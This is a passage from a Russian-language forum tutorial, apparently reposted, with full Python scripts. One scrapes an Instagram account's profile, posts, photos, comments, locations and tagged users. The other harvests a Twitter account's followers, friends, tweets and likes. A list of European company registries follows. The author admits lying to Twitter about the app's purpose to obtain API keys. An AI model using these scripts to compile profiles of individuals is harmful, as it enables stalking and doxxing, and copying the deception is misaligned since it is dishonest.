И так, существует функция comm() которая вызывается каждый раз из функции parse_media(). В функции создаются первые переменные, которые в дальнейшем используются в get_req_com():

Python:Copy to clipboard

def comm(json_page, m):
    list_of_comments = ''
    try:
        try:
            comments = json_page["edge_media_to_parent_comment"]["edges"]
            page_info = json_page["edge_media_to_parent_comment"]["page_info"]
        except KeyError:
            comments = json_page["edge_media_to_comment"]["edges"]
            page_info = json_page["edge_media_to_comment"]["page_info"]
    except Exception as e:
        print("\n\n", json_page,"\nError:", e)
        exit()
    get_req_com(json_page["shortcode"], comments, page_info, list_of_comments, m)

В функции get_req_com() все загруженные комментарии с постом сохраняются в переменную list_of_comm. Только в подкаталоге page_info содержится информация о существовании следующих комментариев. Если параметр has_next_page равен True, то создается запрос о подзагрузке 49 комментариев (да, почему-то лимит постов – 50, но лимит комментариев - 49), потом создаются свежие переменные, и опять отправляются в ту же функцию.

Загрузив информацию о посте, и скачав фотографию, новый пост не начнет обрабатываться, пока has_next_page не будет равен False:

Рисунок 17

После того, как has_next_page достиг значения False, все собранные комментарии с поста отправляются в функцию parse_comm(), где каждый коммент парсится, и собирается в единую переменную list, и после этого, функция возвращает отредактированный список комментариев в переменную comments. Comments записывается в файл comments.txt определенного поста и в файл all_comments.txt .

Так же при загрузке комментариев иногда проскальзывает ошибка ‘rate limiting’. Эта ошибка связанна с большим количеством запросов на подзагрузку дополнительных комментариев. И решением является «простой» кода 8 минут.

Как только работа скрипта закончена, мы получаем такой результат:

Рисунок 18: демонстрация сохраненных данных

Создание скрипта с использованием API
Этот скрипт мы будет писать под Twitter.

Получение доступа к api является самым сложным пунктом. И так, что бы начать пользоваться API Twitter’a, мы должны:

• Создать аккаунт в Twitter
• Перейти в https://developer.twitter.com/en/apps и создать приложение
• После этого, вам нужно придумать название вашего приложения, описать его до 100 символов и придумать ссылку.
• Далее, вам нужно будет выбрать, в какой области находится ваше приложение:

Рисунок 19: выбор категории будущего приложения

• Так же, нужно будет заполнить ответить на подобные вопросы: «Для каких именно целей вы будете использовать Твиттер», «Какие лица, кроме вас, будут так же получать информацию?», «Будете ли вы распространять полученную информацию о пользователях Твиттера?» и все в этом духе. Заполнив все бланки, и нажав Next, заявление автоматически отправляется на рассмотрение в команду Твиттера:

Рисунок 20: заявление на выдачу API отправлено

Получив на свою почту подобное письмо:

Рисунок 21: письмо от команды Твиттера на одобрение приложения

Можно приступать к получению ключей.

Переходим в Apps:

Рисунок 22

Затем в Details:

Рисунок 23

Во вкладке Keys and tokens, будут лежать нужные нам ключи:

Рисунок 24

Приступаем к созданию схемы

Создание приблизительной схемы будущего скрипта

Рисунок 25: приблизительная блок-схема

Реализация скрипта
В этом скрипте будем использовать дополнительную библиотеку TwitterAPI

Устанавливается она, как и все доп. библиотеки, следующей командой:

Code:Copy to clipboard

Pip install TwitterAPI

Из основных библиотек, будут использоваться следующее:

• Os – для создания папок
• Requests – для загрузки фотографий
• Json – для создания словарей из ответов сервера

Тестирование и объяснение отдельных функций

Так как мы уже работаем с API, в этом скрипте будет использовать ключи, которые находятся во вкладке Apps>Details>Keys and tokens. Вставляем их в скрипт, и создаем переменную api:

Python:Copy to clipboard

cons_key = "XXXXXXXXXXXXXXXXXXXXXXXXX"
cons_sec_key = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
acc_tok = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
acc_tok_sec = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"

api = TwitterAPI(cons_key, cons_sec_key, acc_tok, acc_tok_sec)

Функция main() сразу создает запрос на получение информации об аккаунте и создает словарь. Дальше, проверяет, существует ли такой аккаунт, и если он существует: создает папку, и отправляет словарь в функцию info_about_acc()

Python:Copy to clipboard

def main(nick):
    reqst = api.request("users/lookup", {"screen_name": nick})
    jsn = json.loads(reqst.text)
    try:
        if jsn["errors"][0]["code"] == 17:
            print("This page doesn't exist")
        elif '""errors":' in reqst.text:
            print("ERROR\nResponse data:", reqst.txt)
        exit()
    except:
        os.mkdir("Twitter")
        count, count_for_tweets = info_about_acc(jsn[0])
    print("Downloading list of followers...")
    followers(nick, "-1", [])
    friends(nick, "-1", [])
    getting_tweets(nick, [], 0, count_for_tweets, "")
    getting_favorites(nick, count, 0, [], '')

Функция info_about_acc() выглядит большой только из-за своих переменных, и некоторых исключений. Основные цели функции – запись данных, взятых из словаря в файл «Info.txt» и сохранение фотографий.

Python:Copy to clipboard

def info_about_acc(jsn):
    print("Getting information...")
    id = str(jsn["id"])
    name = jsn["name"]
    nickname = jsn["screen_name"]
    followers = str(jsn["followers_count"])
    friends = str(jsn["friends_count"])
    data_of_creation = jsn["created_at"]
    count_of_liked_tweets = jsn["favourites_count"]
    verified = jsn["verified"]
    profile_pic = jsn["profile_image_url_https"]
    statuses_count = jsn["statuses_count"]

    lang = jsn["lang"]
    if lang is not None:
        lang = "\nLang -" + lang
    else:
        lang = ''

    location = jsn["location"]
    if location != '':
        location = "\nLocation -" + location

    description = jsn["description"]
    if description != '':
        description = "\n\tDescription -" + description

    print("Downloading photos...")
    background_pic = jsn["profile_background_image_url"]
    if background_pic is not None:
        photo_back = requests.get(background_pic)
        out_back = open("Twitter/Profile background photo.jpg", "wb")
        out_back.write(photo_back.content)
        out_back.close()
        background_pic = '\nBackground picture - ' + background_pic
    else:
        background_pic = ''

    if not jsn["profile_use_background_image"]:
        banner_pic = jsn['profile_banner_url']
        photo = requests.get(banner_pic)
        out = open("Twitter/Profile banner.jpg", "wb")
        out.write(photo.content)
        out.close()

    photo = requests.get(profile_pic.split("_normal")[0]+profile_pic.split("_normal")[1])
    out = open("Twitter/Profile photo.jpg", "wb")
    out.write(photo.content)
    out.close()

    print("Writing information to the file info.txt...")
    info = "ID - " + id + "\nName - " + name + "\nNickname - " + nickname + "\nFollowers - " + followers + "\nFriends - " + friends+\
    "\nData of creation - " + data_of_creation + "\nCount of liked twiters - " + str(count_of_liked_tweets) + "\nVerified - "+\
    str(verified) + "\nStatuses count - " + str(statuses_count) + lang + location + description + background_pic + \
           "\nProfile pic - " + profile_pic

    file = open("Twitter/Info.txt", "w")
    file.write(info)

    file.close()

    return count_of_liked_tweets, statuses_count

После этого, функция возвращает count_of_liked_tweets (количество лайкнуты) в переменную count в функции main().

Далее, запускается функция followers()

Эта функция работает с подписчиками аккаунта. Создается запрос на загрузку данных о подписчиках, далее загруженная информация преобразуется в словарь, добавляется в переменную, и если нужна еще подзагрузка (об этом говорит параметр next_cursor):

Рисунок 26: Next_cursor

То создает еще:

Python:Copy to clipboard

if jsn["next_cursor"] != 0:
    followers(nickname, jsn["next_cursor"], media_to_parse)

Как и в прошлом скрипте, передавая уже новые значения (media, cursor)

Python:Copy to clipboard

def followers(nickname, cursor, media_to_parse):
    r = api.request("followers/list", {"cursor": cursor, "screen_name": nickname, "skip_status": "true",
                                       "include_user_entities": "false", "count": "200"})
    jsn = json.loads(r.text)
    print(jsn)
    media_to_parse += jsn["users"]

    if jsn["next_cursor"] != 0:
        followers(nickname, jsn["next_cursor"], media_to_parse)
    else:
        print("Got ", len(str(media_to_parse).split("'id': "))-1, " follower(s)")
        print("Downloading list of followers...")
        for i in range(len(str(media_to_parse).split("'id':"))-1):
            parsing_followers_friends(media_to_parse[i], "Followers")
        print("Done\n")

Функция friends() работает с данными о друзьях. В Твиттере так называются люди, на которых подписан указанный ранее аккаунт.

Так же как и во followers(), сначала происходит создание запроса, создание словаря, добавление в переменную.

Code:Copy to clipboard

def friends(nickname, cursor, media_to_parse):
    r = api.request("friends/list", {"cursor": cursor, "screen_name": nickname, "skip_status": "true",
                                       "include_user_entities": "false", "count": "200"})
    jsn = json.loads(r.text)
    media_to_parse += jsn["users"]

    if jsn["next_cursor"] != 0:
        friends(nickname, jsn["next_cursor"], media_to_parse)
    else:
        print("Got ", str(len(str(media_to_parse).split("'id': "))-1), " friend(s)")
        print("Downloading list of friends...")
        for i in range(len(str(media_to_parse).split("'id':"))-1):
            parsing_followers_friends(media_to_parse[i], "Friends")
        print("Done\n")

И если больше друзей нету, то есть next_cursor равняется ‘’, то как в функции followers(), так и во friends() переменная media, которая имеет в себе весь список друзей/подписчиков, отправляется в функцию parsing_followers_friends(), где, в зависимости от friends_or_followers, функция решает куда сохранять файл. В функции followers(), в функцию отсылается строка “Followers”:

Python:Copy to clipboard

parsing_followers_friends(media_to_parse[i], [B]"Followers"[/B])

А в функции friends() – строка “Friends”:

Python:Copy to clipboard

parsing_followers_friends(media_to_parse[i], [B]"Friends"[/B])

После обработки последнего друга, функция friends() окончена, и стартует функция getting_tweets()

Данная функция собирает все твиты и ретвиты пользователя в одну переменную, и в дальнейшем отправляется в функцию parsing_followers_friends():

Python:Copy to clipboard

def getting_tweets(nickname, media, count, statuses, max_id):
    if max_id == "":
        r = api.request("statuses/user_timeline", {"screen_name": nickname, "count": "200"})
    else:
        r = api.request("statuses/user_timeline", {"screen_name": nickname, "count": "200", "max_id": max_id})
    jsn = json.loads(r.text)
    media += jsn
    count += 200

    if statuses > count:
        del media[-1]
        getting_tweets(nickname, media, count, statuses, jsn[-1]["id_str"])

    else:
        print("Got "+str(len(media))+" tweet(s)")
        print("Downloading tweets")
        for i in range(len(media)):
            parsing_tweets(media[i])
        print("Done")

Так же стоит объяснить про странную строку del media[-1]. Дело в том, что при подзагрузке твитов/ретвитов, отсутствует такой курсор, как "next_page”, имеющийся в предыдущих функциях, и отследить, загрузились ли все твиты/ретвиты невозможно. Поэтому, пришлось придумывать велосипед, и использовать id последнего твита, как начало для загрузки следующего. Но из-за того, что один и тот же твит будет в конце и в начале, нужно удалять последний твит в общей переменной.

Твиттер также дает возможность просмотреть id тех пользователей, которые ретвитнули твит указанного аккаунта. Но так как, во-первых, лимит запросов составляет всего 300 в 15 минут:

Рисунок 27: Лимит на отправку запросов

а во-вторых на каждый id нужно создавать отдельный запрос, чтобы узнать информацию об аккаунте. Все указанные действия будут происходить медленно, с интервалом в 15 минут (если скрипт за 15 минут будет использовать больше 300 запросов). Из-за указанных особенностей, данная функция использоваться не будет.

По итогу, и собрав все твиты/ретвиты, весь полученный из словарей массив, отправляется в parsin_tweets():

Python:Copy to clipboard

def parsing_tweets(tweet):
    try:
        author_nickname = tweet["retweeted_status"]["user"]["screen_name"]
        author_name = tweet["retweeted_status"]["user"]["name"]
        text = str(tweet["retweeted_status"]["text"])
        link_to_tweet = "https://twitter.com/"+author_nickname+"/status/"+tweet["id_str"]
        tweets_like = tweet["retweeted_status"]["favorite_count"]
        tweets_retweet = tweet["retweeted_status"]["retweet_count"]
        with open("Twitter/Retweets.txt", "a", encoding="utf-8") as file:
            file.write(author_name+"  (@"+author_nickname+")\n\t'"+text+"'\n\n\t"+str(tweets_retweet)+" Retweet(s)  "+str(tweets_like)+" Like(s)"+"\n\n\tTweet - "+link_to_tweet+"\n\n"+"--"*25+"\n")

    except:
        text = tweet["text"]
        data = tweet["created_at"]
        likes = tweet["favorite_count"]
        retweets = tweet["retweet_count"]
        link_to_tweet = "https://twitter.com/" + tweet["user"]["screen_name"] + "/status/" + tweet["id_str"]
        with open("Twitter/Tweets.txt", "a", encoding="utf-8") as file:
            file.write("'"+text+"'\n\n\t"+data+"\t\t"+str(retweets)+" Retweet(s)  "+str(likes)+
                       " Like(s)"+"\n\n\tTweet - "+link_to_tweet+"\n\n\n"+"--"*25+"\n")

    file.close()

После создания переменных, полученные данные записываются в файл “Retweets.txt” и “Tweets.txt”.

И последняя функция имеет название getting_fevorites().

Она использует count (переменная из функции main()) для подсчета загруженных твитов.

Указанная функция схожа с предыдущей, единственное отличие - она вмещает в себе парсер, и не отправляет словарь из всех полученных твитов в отдельную функцию.

Лайкнутые твиты записывает в “Liked.txt”

После скана, получаем папку с такими файлами:

Рисунок 28 : полученные файлы после работы скрипта

Сравнение вариантов реализации OSINT скриптов

Каждый скрипт имеет свои плюсы и минусы. Прежде всего, использование API всегда позволяет взять больше информации, чем без его использования.

В Инстаграме, если пользователь не вошел в аккаунт – он не может смотреть Stories, список подписчиков и список друзей.

Но в то же время, мы никак не привязаны аккаунтом, и мы можем сканировать что угодно, и сколько угодно (до ошибки rate limiting)

В Твиттере мне пришлось открыто лгать про цели и идеи моего приложения. И не факт что вам удастся таким же образом получить эти ключи для пользования API.

Но другая сторона медали – сплошное удобство.

Вы можете сравнить функции в скрипте для Твиттера и для Инстаграма. Использование библиотеки решает многие вопросы, над которыми я долго сидел при написании скрипта для Инстаграма.

Заключение

Подводя итоги, хочу сказать, что каждый из этих скриптов является утилитой для OSINT, вне зависимости от использования API.

Более анонимный способ – первый, декомпиляция трафика и создание собственных запросов

Более простой – второй, взяв токены и ключи, следовать по документации от Твиттера.

Тут уже решать за вами.

Spoiler: Instagram

Python:Copy to clipboard

import requests
import argparse
import json
import time
import os


def parser():
    parser = argparse.ArgumentParser(prog='OSINT Inst')

    parser.add_argument("-n", "--nickname", help="Nickname?", dest="nickname")

    args = vars(parser.parse_args())
    main(args["nickname"])


def main(nickname):
    url = "https://www.instagram.com/"+nickname
    response = requests.get(url + "?__a=1")

    if "Page Not Found" in response.text:
        print("Page Not Found")
        exit()

    todos = json.loads(response.text)
    os.mkdir("Instagram")
    parse_page(todos)
    photoes(todos["graphql"]["user"])

#getting links of the posts
def get_req_photo(media_to_parse, media, checker, json_media, idprofile_inst):
    media_to_parse += str(media)

    if checker:
        end_cursor = json_media["edge_owner_to_timeline_media"]["page_info"]["end_cursor"]

        data_for_get_req = 'https://www.instagram.com/graphql/query/?query_hash=f2405b236d85e8296cf30347c9f08c2a' \
                           '&variables=%7B%22id%22%3A%22' + idprofile_inst + \
                           '%22%2C%22first%22%3A50%2C%22after%22%3A%22' + end_cursor.split("==")[0] + '%3D%3D%22%7D'

        gett = requests.get(data_for_get_req)
        json_media = json.loads(gett.text)
        checker = json_media["data"]["user"]["edge_owner_to_timeline_media"]["page_info"]["has_next_page"]
        media = json_media["data"]["user"]["edge_owner_to_timeline_media"]["edges"]

        get_req_photo(media_to_parse, media, checker, json_media["data"]["user"], idprofile_inst)
    else:
        print("Got ", len(str(media_to_parse).split("'shortcode': '")), " post(s)")
        for i in range(1, len(str(media_to_parse).split("'shortcode': '"))):
            link_to_page = str(media_to_parse).split("'shortcode': '")[i].split("',")[0]
            req = requests.get("https://instagram.com/p/" + link_to_page + "/?__a=1")
            json_page = json.loads(req.text)
            parse_media(json_page["graphql"]["shortcode_media"], i)
        print("Done")


def photoes(json_media):
    media = json_media["edge_owner_to_timeline_media"]["edges"]
    checker = json_media["edge_owner_to_timeline_media"]["page_info"]["has_next_page"]
    idprofile_inst = json_media["id"]

    get_req_photo('', media, checker, json_media, idprofile_inst)

#getting infos about account
def parse_page(todos):
    print("Getting info about profile...")
    follow_inst = str(todos["graphql"]["user"]["edge_follow"]["count"])
    followed_by_inst = str(todos["graphql"]["user"]["edge_followed_by"]["count"])
    content_inst = str(todos["graphql"]["user"]["edge_owner_to_timeline_media"]["count"])
    biography = todos["graphql"]["user"]["biography"]
    name = todos["graphql"]["user"]["full_name"]
    username = todos["graphql"]["user"]["username"]
    verified = str(todos["graphql"]["user"]["is_verified"])
    fb = str(todos["graphql"]["user"]["connected_fb_page"])
    business = str(todos["graphql"]["user"]["is_business_account"])

    try:
        link = "\nLink: "+ todos["graphql"]["user"]["external_link"]
    except:
        link = ''


    file = open("Instagram/info.txt", "w", encoding="utf-8")
    info = "Name: "+name+"\nUsername: "+username+"\nBiography: "+biography+"\n\nVerified: "+verified+"\nFollow: "+follow_inst+"\nFollowed: "+\
           followed_by_inst+"\nNumber of posts: "+content_inst+link+"\nBusiness account: "+business+\
           '\nConnected to facebook: '+fb

    file.write(info)
    file.close()


#functions for comments
def get_req_com(shortcode, comments, page_info, list_of_comments, m):
    list_of_comments += str(comments)
    if page_info["has_next_page"]:
        end_cursor = page_info["end_cursor"]
        data_for_get_req = 'https://www.instagram.com/graphql/query/?query_hash=f0986789a5c5d17c2400faebf16efd0d' \
                           '&variables=%7B%22shortcode%22%3A%22' + shortcode + '%22%2C%22first%22%3A50' \
                                            '%2C%22after%22%3A%22' + end_cursor.split("==")[0] + '%3D%3D%22%7D'
        get = requests.get(data_for_get_req)
        json_media = json.loads(get.text)
        try:
            comments = json_media["data"]["shortcode_media"]["edge_media_to_comment"]["edges"]
            page_info = json_media["data"]["shortcode_media"]["edge_media_to_comment"]["page_info"]
            get_req_com(shortcode, comments, page_info, list_of_comments, m)
        except Exception as e:
            if json_media['message'] == "rate limited":
                print("Rate limit. Please wait... (8 min.)")
                time.sleep(480)
                get_req_com(shortcode, comments, page_info, list_of_comments, m)
            else:
                print("Error:","\n",e,json_media)
                pass
    else:
        comments = parse_comm(list_of_comments)
        file = open("Instagram/post " + str(m) + "/comments.txt", "w", encoding="utf-8")
        file.write(comments)
        file.close()

        with open("Instagram/all_comments.txt", "a", encoding="utf-8") as file_all_comments:
            file_all_comments.write(comments)


def parse_comm(list_of_comments):
    list = ''
    num = str(list_of_comments).split("'node':")

    for i in range(1, len(num)):
        if str(num[i]).split("'edge_liked_by': {'count': ")[1].split("}")[0] == '0':
            likes = ''
        else:
            likes = "\t" + str(num[i]).split("'edge_liked_by': {'count': ")[1].split("}")[0] + " like(s)"
        username = "\n" + str(num[i]).split("'username': '")[1].split("'},")[0]
        try:
            text = str(num[i]).split("'text': '")[1].split("'")[0] + "'"
        except:
            text = str(num[i]).split(''''text': "''')[1].split('"')[0] + "'"
        list += username + "  '" + text +likes+"\n"

    return list


def comm(json_page, m):
    list_of_comments = ''
    try:
        try:
            comments = json_page["edge_media_to_parent_comment"]["edges"]
            page_info = json_page["edge_media_to_parent_comment"]["page_info"]
        except KeyError:
            comments = json_page["edge_media_to_comment"]["edges"]
            page_info = json_page["edge_media_to_comment"]["page_info"]
    except Exception as e:
        print("\n\n", json_page,"\nError:", e)
        exit()
    get_req_com(json_page["shortcode"], comments, page_info, '', m)

#saving infos and photoes from account
def parse_media(json_page, m):

    view_count = ''
    os.mkdir("Instagram/post " + str(m))
    captions = '\nCaption(s): '
    print("Downloading post " + str(m))
    if json_page["__typename"] == "GraphVideo":
        view_count = str("\nView count = " + str(json_page["video_view_count"]))
        out = open("Instagram/post " + str(m) + "/video.txt", "w")
        out.write(str("https://instagram.com/p/"+json_page["shortcode"]))
        out.close()

    if json_page["__typename"] == "GraphImage":
        photo = str(json_page["display_resources"][-1]["src"])
        p = requests.get(photo)
        out = open("Instagram/post " + str(m) + "/img" + str(m) + ".jpg", "wb")
        out.write(p.content)
        out.close()
        captions = "\n"+json_page["accessibility_caption"]

    if json_page["__typename"] == "GraphSidecar":
        for i in range(len(json_page["edge_sidecar_to_children"]["edges"])):
            photoes = json_page["edge_sidecar_to_children"]["edges"][i]["node"]["display_resources"][-1]["src"]
            p = requests.get(photoes)
            out = open("Instagram/post "+str(m)+"/img"+str(i)+".jpg", "wb")
            out.write(p.content)
            out.close()
            try:
                captions += "\nphoto №"+str(i)+"-"+ str(json_page["edge_sidecar_to_children"]["edges"][i]
                                                  ["node"]["accessibility_caption"])+"\n"
            except:
                view_count = str("\nView count = " + str(json_page["edge_sidecar_to_children"]["edges"][i]
                                                  ["node"]["video_view_count"]))
                out = open("Instagram/post " + str(m) + "/video.txt", "w")
                out.write(str("https://instagram.com/p/" + json_page["shortcode"]))
                out.close()

    likes = "\nlikes: " + str(json_page["edge_media_preview_like"]["count"])+"\n"
    link = "Link - "+"instagram.com/p/"+json_page["shortcode"]+"\n"
    location = json_page["location"]

    if location is not None:
        with open("Instagram/all_locations.txt", "a", encoding="utf-8") as file:
            file.write("post "+str(m)+"\n"+str(location)+"\n")
    else:
        location = ''
        pass


    if json_page["edge_media_to_tagged_user"]["edges"] == []:
        tagged_user = ''
    else:
        tagged = str(json_page["edge_media_to_tagged_user"]).split("node")
        tagged_user = '\nTagged user(s): '
        for i in range(1, len(tagged)):
             tagged_user += "@"+str(json_page["edge_media_to_tagged_user"]).split("username': '")[i].split("'}")[0]+\
                    " ("+str(json_page["edge_media_to_tagged_user"]).split("full_name': '")[i].split("', ")[0]+")\n"
        with open("Instagram/all_tagged.txt", "a", encoding="utf-8") as file:
            file.write(str("post " + str(m) + ":" + tagged_user + "\n"))


    file = open("Instagram/post "+str(m)+"/info.txt", "w", encoding="utf-8")

    try:
        text = "text: '"+str(json_page["edge_media_to_caption"]["edges"][0]["node"]["text"])+"'\n"
    except:
        text = "text: None\n"

    all_information = str(text+likes+tagged_user+"\nLocation: "+str(location)+captions+view_count+"\n"+link)
    file.write(all_information)
    file.close()

    try:
        checker_for_comment = json_page["edge_media_to_parent_comment"]["count"]
    except:
        checker_for_comment = json_page["edge_media_to_comment"]["count"]

    if checker_for_comment != 0:
        comm(json_page, m)
    else:
        pass


if __name__ == '__main__':
    parser()

Spoiler: Twitter

Python:Copy to clipboard

from TwitterAPI import TwitterAPI
import os
import json
import requests

cons_key = ""
cons_sec_key = ""   #Put yours keys in
acc_tok = ""        #these lines
acc_tok_sec = ""

api = TwitterAPI(cons_key, cons_sec_key, acc_tok, acc_tok_sec)

def main(nick):
    reqst = api.request("users/lookup", {"screen_name": nick})
    jsn = json.loads(reqst.text)
    try:
        if jsn["errors"][0]["code"] == 17:
            print("This page doesn't exist")
        elif '""errors":' in reqst.text:
            print("ERROR\nResponse data:", reqst.txt)
        exit()
    except:
        os.mkdir("Twitter")
        count, count_for_tweets = info_about_acc(jsn[0])
    print("Downloading list of followers...")
    followers(nick, "-1", [])
    friends(nick, "-1", [])
    getting_tweets(nick, [], 0, count_for_tweets, "")
    getting_favorites(nick, count, 0, [], '')



def parsing_tweets(tweet):
    try:
        author_nickname = tweet["retweeted_status"]["user"]["screen_name"]
        author_name = tweet["retweeted_status"]["user"]["name"]
        text = str(tweet["retweeted_status"]["text"])
        link_to_tweet = "https://twitter.com/"+author_nickname+"/status/"+tweet["id_str"]
        tweets_like = tweet["retweeted_status"]["favorite_count"]
        tweets_retweet = tweet["retweeted_status"]["retweet_count"]
        with open("Twitter/Retweets.txt", "a", encoding="utf-8") as file:
            file.write(author_name+"  (@"+author_nickname+")\n\t'"+text+"'\n\n\t"+str(tweets_retweet)+" Retweet(s)  "+str(tweets_like)+" Like(s)"+"\n\n\tTweet - "+link_to_tweet+"\n\n"+"--"*25+"\n")

    except:
        text = tweet["text"]
        data = tweet["created_at"]
        likes = tweet["favorite_count"]
        retweets = tweet["retweet_count"]
        link_to_tweet = "https://twitter.com/" + tweet["user"]["screen_name"] + "/status/" + tweet["id_str"]
        with open("Twitter/Tweets.txt", "a", encoding="utf-8") as file:
            file.write("'"+text+"'\n\n\t"+data+"\t\t"+str(retweets)+" Retweet(s)  "+str(likes)+
                       " Like(s)"+"\n\n\tTweet - "+link_to_tweet+"\n\n\n"+"--"*25+"\n")

    file.close()


def getting_tweets(nickname, media, count, statuses, max_id):
    if max_id == "":
        r = api.request("statuses/user_timeline", {"screen_name": nickname, "count": "200"})
    else:
        r = api.request("statuses/user_timeline", {"screen_name": nickname, "count": "200", "max_id": max_id})
    jsn = json.loads(r.text)
    media += jsn
    count += 200

    if statuses > count:
        del media[-1]
        getting_tweets(nickname, media, count, statuses, jsn[-1]["id_str"])

    else:
        print("Got "+str(len(media))+" tweet(s)")
        print("Downloading tweets")
        for i in range(len(media)):
            parsing_tweets(media[i])
        print("Done")


def parsing_followers_friends(acc_to_parse, friends_or_followers):
    name = acc_to_parse["name"]
    nickname_of_user = acc_to_parse["screen_name"]

    info = name +"\t(@"+nickname_of_user+")\n\n"

    if friends_or_followers == "Friends":
        with open("Twitter/Friends.txt", "a", encoding="utf-8",) as file:
            file.write(info)
    if friends_or_followers == "Followers":
        with open("Twitter/Followers.txt", "a", encoding="utf-8",) as file:
            file.write(info)


def friends(nickname, cursor, media_to_parse):
    r = api.request("friends/list", {"cursor": cursor, "screen_name": nickname, "skip_status": "true",
                                       "include_user_entities": "false", "count": "200"})
    jsn = json.loads(r.text)
    media_to_parse += jsn["users"]

    if jsn["next_cursor"] != 0:
        friends(nickname, jsn["next_cursor"], media_to_parse)
    else:
        print("Got ", str(len(str(media_to_parse).split("'id': "))-1), " friend(s)")
        print("Downloading list of friends...")
        for i in range(len(str(media_to_parse).split("'id':"))-1):
            parsing_followers_friends(media_to_parse[i], "Friends")
        print("Done\n")


def followers(nickname, cursor, media_to_parse):
    r = api.request("followers/list", {"cursor": cursor, "screen_name": nickname, "skip_status": "true",
                                       "include_user_entities": "false", "count": "200"})
    jsn = json.loads(r.text)
    print(jsn)
    media_to_parse += jsn["users"]

    if jsn["next_cursor"] != 0:
        followers(nickname, jsn["next_cursor"], media_to_parse)
    else:
        print("Got ", len(str(media_to_parse).split("'id': "))-1, " follower(s)")
        print("Downloading list of followers...")
        for i in range(len(str(media_to_parse).split("'id':"))-1):
            parsing_followers_friends(media_to_parse[i], "Followers")
        print("Done\n")


def info_about_acc(jsn):
    print("Getting information...")
    id = str(jsn["id"])
    name = jsn["name"]
    nickname = jsn["screen_name"]
    followers = str(jsn["followers_count"])
    friends = str(jsn["friends_count"])
    data_of_creation = jsn["created_at"]
    count_of_liked_tweets = jsn["favourites_count"]
    verified = jsn["verified"]
    profile_pic = jsn["profile_image_url_https"]
    statuses_count = jsn["statuses_count"]

    lang = jsn["lang"]
    if lang is not None:
        lang = "\nLang -" + lang
    else:
        lang = ''

    location = jsn["location"]
    if location != '':
        location = "\nLocation -" + location

    description = jsn["description"]
    if description != '':
        description = "\n\tDescription -" + description

    print("Downloading photos...")
    background_pic = jsn["profile_background_image_url"]
    if background_pic is not None:
        photo_back = requests.get(background_pic)
        out_back = open("Twitter/Profile background photo.jpg", "wb")
        out_back.write(photo_back.content)
        out_back.close()
        background_pic = '\nBackground picture - ' + background_pic
    else:
        background_pic = ''

    if not jsn["profile_use_background_image"]:
        banner_pic = jsn['profile_banner_url']
        photo = requests.get(banner_pic)
        out = open("Twitter/Profile banner.jpg", "wb")
        out.write(photo.content)
        out.close()

    photo = requests.get(profile_pic.split("_normal")[0]+profile_pic.split("_normal")[1])
    out = open("Twitter/Profile photo.jpg", "wb")
    out.write(photo.content)
    out.close()

    print("Writing information to the file info.txt...")
    info = "ID - " + id + "\nName - " + name + "\nNickname - " + nickname + "\nFollowers - " + followers + "\nFriends - " + friends+\
    "\nData of creation - " + data_of_creation + "\nCount of liked twiters - " + str(count_of_liked_tweets) + "\nVerified - "+\
    str(verified) + "\nStatuses count - " + str(statuses_count) + lang + location + description + background_pic + \
           "\nProfile pic - " + profile_pic

    file = open("Twitter/Info.txt", "w")
    file.write(info)

    file.close()

    return count_of_liked_tweets, statuses_count

def getting_favorites(nick, count, counter, media, max_id):
    if max_id == '':
        reqst = api.request("favorites/list", {"count": 200, "screen_name": nick})
    else:
        reqst = api.request("favorites/list", {"count": 200, "screen_name": nick, "max_id": max_id})

    jsn = json.loads(reqst.text)
    counter += 200
    media += jsn

    if count > counter:
        del media[-1]
        getting_favorites(nick, count, counter, media, jsn[-1]["id_str"])
    else:
        print("Got " + str(len(media)) + " Liked tweet(s)")
        print("Downloading these tweets...")
        for i in range(len(media) - 1):
            text = media[i]["text"]
            data = media[i]["created_at"]
            likes = media[i]["favorite_count"]
            retweets = media[i]["retweet_count"]
            link_to_tweet = "https://twitter.com/" + media[i]["user"]["screen_name"] + "/status/" + media[i]["id_str"]
            author_name = media[i]["user"]["name"]
            author_nickname = media[i]["user"]["screen_name"]
            with open("Twitter/Liked.txt", "a", encoding="utf-8") as file:
                file.write(author_name + "  ( @" + author_nickname + ")\n" + "\n'" + text + "'\n\n\t" + data + "\t\t"
                           + str(retweets) + " Retweet(s)  " + str(likes) + " Like(s)" + "\n\n\tTweet - " +
                           link_to_tweet + "\n\n\n" + "--" * 25 + "\n")

    print("Done")

#write a nickname
if __name__ == '__main__':
    main("")

Код на GitHub

Автор: @g00db0y
взято с codeby

Spoiler: Европейский бизнес-регистр

www.ebr.org/ - Он-лайн информация о Европейских компаниях. Доступ к информации осуществляется через одного из дистрибьюторов, указанных на сайте.

Европейский бизнес-регистр (EBR) www.lursoft.lv/?l=ru – это организация, которая объединяет системы регистров европейских предприятий. Ее цель – обеспечить обмен едиными базами данных предприятий в оперативном режиме. Европейский бизнес-реестр обеспечивает доступ в базу данных всех зарегистрированных в конкретном государстве предприятий, которая пополняется от первоисточника при помощи Интернета. По данной ссылке можно получить доступ к данным EBR через сайт Lursoftа - одного из его дистрибьюторов. www.globalbusinessregister.co.uk

Австрия:
Wiener Zeitung
www.firmenbuchgrundbuch.at

Бельгия:
www.eurodb.be

Босния и Герцеговина:
www.pksa.com.ba

Болгария:
www.investbulgaria.com
www.brra.bg - (большой объем информации и бесплатно)

Британские Вирджинские острова:
www.bvifsc.vg

Великобритания:
www.companieshouse.gov.uk

Венгрия:
Court of Company Registration
www.cegtalalo.hu
www.microsec.hu - доступ платный

Германия:
www.eogs.dk
www.unternehmensregister.de
Judicial register of the federal states

Гибралтар:
www.companieshouse.gi
www.gibraltar.gi

Греция:
www.acci.gr

Дания:
www.eogs.dk
Центральный коммерческий регистр

Джерси:
www.jerseyfsc.org

Ирландия:
www.cro.ie

Северная Ирландия:
www.detini.gov.uk

Исландия:
www.statice.is

Испания:
www.registradores.org
www.rmc.es

Италия:
www.infocamere.it
www.infoimprese.it
www.registroimprese.it

Кипр:
www.mcit.gov.cy

Латвия:
www.ur.gov.lv
www.lursoft.lv

Литва:
www.registrucentras.lt

Лихтенштейн:
www.llv.li

Люксембург:
www.rcsl.lu
saturn.etat.lu

Мальта:
registry.mfsa.com.mt
rocsupport.mfsa.com.mt

Нидерланды:
www.kvk.nl
OpenCompanies

Норвегия:
www.brreg.no
